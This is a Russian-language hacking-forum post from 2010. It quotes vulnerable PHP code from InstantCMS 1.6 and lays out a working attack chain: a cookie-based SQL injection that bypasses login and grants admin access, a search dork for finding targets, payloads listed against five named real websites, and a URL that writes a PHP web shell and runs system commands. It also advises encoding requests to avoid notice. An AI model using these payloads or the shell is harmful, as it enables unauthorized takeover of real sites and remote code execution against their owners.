Показать сообщение отдельно

123
  #13  
Старый 24.04.2010, 07:29
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами: 9000386

Репутация: 1148
По умолчанию 123

Релиз версии 1.6
22 апреля 2010


blind SQL inj & обход авторизации

Предыдущая тоже.

core/classes/user.class.php
PHP код:
...public function autoLogin(){

        
$inDB       cmsDatabase::getInstance();
        
$inCore     cmsCore::getInstance();
        
        if (
$inCore->getCookie('userid') && !$this->id){

            
$cookie_code $inCore->getCookie('userid');

            
$sql "SELECT * FROM cms_users WHERE md5(CONCAT(id, password)) = '$cookie_code' AND is_deleted=0 AND is_locked=0";
            
$res $inDB->query($sql);

            if(
$inDB->num_rows($res)==1){
                
$userrow $inDB->fetch_assoc($res);
                
session_register('user');
                
$_SESSION['user'] = self::createUser($userrow);
                
cmsCore::callEvent('USER_LOGIN'$_SESSION['user']);
                
$inDB->query("UPDATE cms_users SET logdate = NOW() WHERE id = ".$_SESSION['user']['id']);
                
$this->resetStatTimer();
            } else {
                
$inCore->unsetCookie('user_id');
            }

        }

        return 
true;

    }... 
core/cms.php
PHP код:
...public function getCookie($name){
        if (isset(
$_COOKIE['InstantCMS'][$name])){
            return 
$_COOKIE['InstantCMS'][$name];
        } else {
            return 
false;
        }
    }... 
core/classes/db.class.php
PHP код:
.../////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
public function query($sql$ignore_errors=false){
    
$inConf cmsConfig::getInstance();
    
$sql $this->replacePrefix($sql);
    
$result mysql_query($sql$this->db_link);

    if (
$inConf->debug){
        
$this->q_count  += 1;
        
$this->q_dump   .= '<pre>'.$sql.'</pre><hr/>';
    }

    if (
mysql_error() && $inConf->debug && !$ignore_errors){
        die(
'<div style="margin:2px;border:solid 1px gray;padding:10px">DATABASE ERROR: <pre>'.$sql.'</pre>'.mysql_error().'</div>');
    }
    
    return 
$result;
}... 
Как видно здесь блинд & обход авторизации (можно так сказать).
Устанавливаем в куки ; InstantCMS[userid]=antichat' or group_id=2/*

group_id=2 - група админов поидеи!
В детали не уходил, ну у меня в таблице в админа 2 .
Появляються линки в панели, доступные для админа и можно смело заходить, тока не сразу, сессионные куки тока установляться. Заходим на любой линк ):.

Вот так будет точнее, потому что надо чтоб запрос вернул одну запись.
В одной групе может быть много админов, и кука выше толку не даст!:
; InstantCMS[userid]=antichat' or 1=1 limit 0,1/*
Если попался не админ, то крутим limit.

Мы админ, мои приветствия!

Блинд можно бистрее крутить через ошибку если cms крутиться в режиме отладки.
Выше в посте о блинде в предыдущей версии было названа переменная, которая отвечает и где находиться.

target: index.php (та й в принцыпе любая!)

Дорк: InstantCMS

Условие: mg=off

пример ис жызни:
http://instant-cms.ru
; InstantCMS[userid]=12345' or 1=1 limit 0,1/*

http://lig.com.ua/
в режиме отладки.
; InstantCMS[userid]=12345' or 1=1 limit 0,1#

http://bboldino.ru
; InstantCMS[userid]=12345' or 1=1 limit 0,1/*

http://www.combatshop.biz
; InstantCMS[userid]=12345' or 1=1 limit 0,1/*

в режиме отладки!
http://expo.sec4all.info
; InstantCMS[userid]=12345' or 1=1 limit 0,1/*

Баги не пофиксены.
Code Execution + LFI(Win) и Blind SQL inj описаны в постах выше.

Result:
http://www.instant/admin/index.php?url=Location:+index.php&f=css/1.php&cod=%3C?+system($_GET[cmd]);+?%3E&view=;file_put_contents($_GET[f],$_GET[cod]);header($_GET[url]);rand

http://www.instant/admin/css/1.php?cmd=dir

Можна еще урл-кодировать чтоб непаливно было! Не забываем что file_put_contents - PHP 5.

Имеем при mg=on!

Можна поиграться с каталогом proc или с протоколом дата (php>=5.2.0 і allow_url_include=on)!

На сколько фантазии хватит на стока и пыхаем код1

С блинд анолочино поста выше.

Главное - заманить авторизованого админа!

Последний раз редактировалось Strilo4ka; 24.04.2010 в 10:59..
 
Ответить с цитированием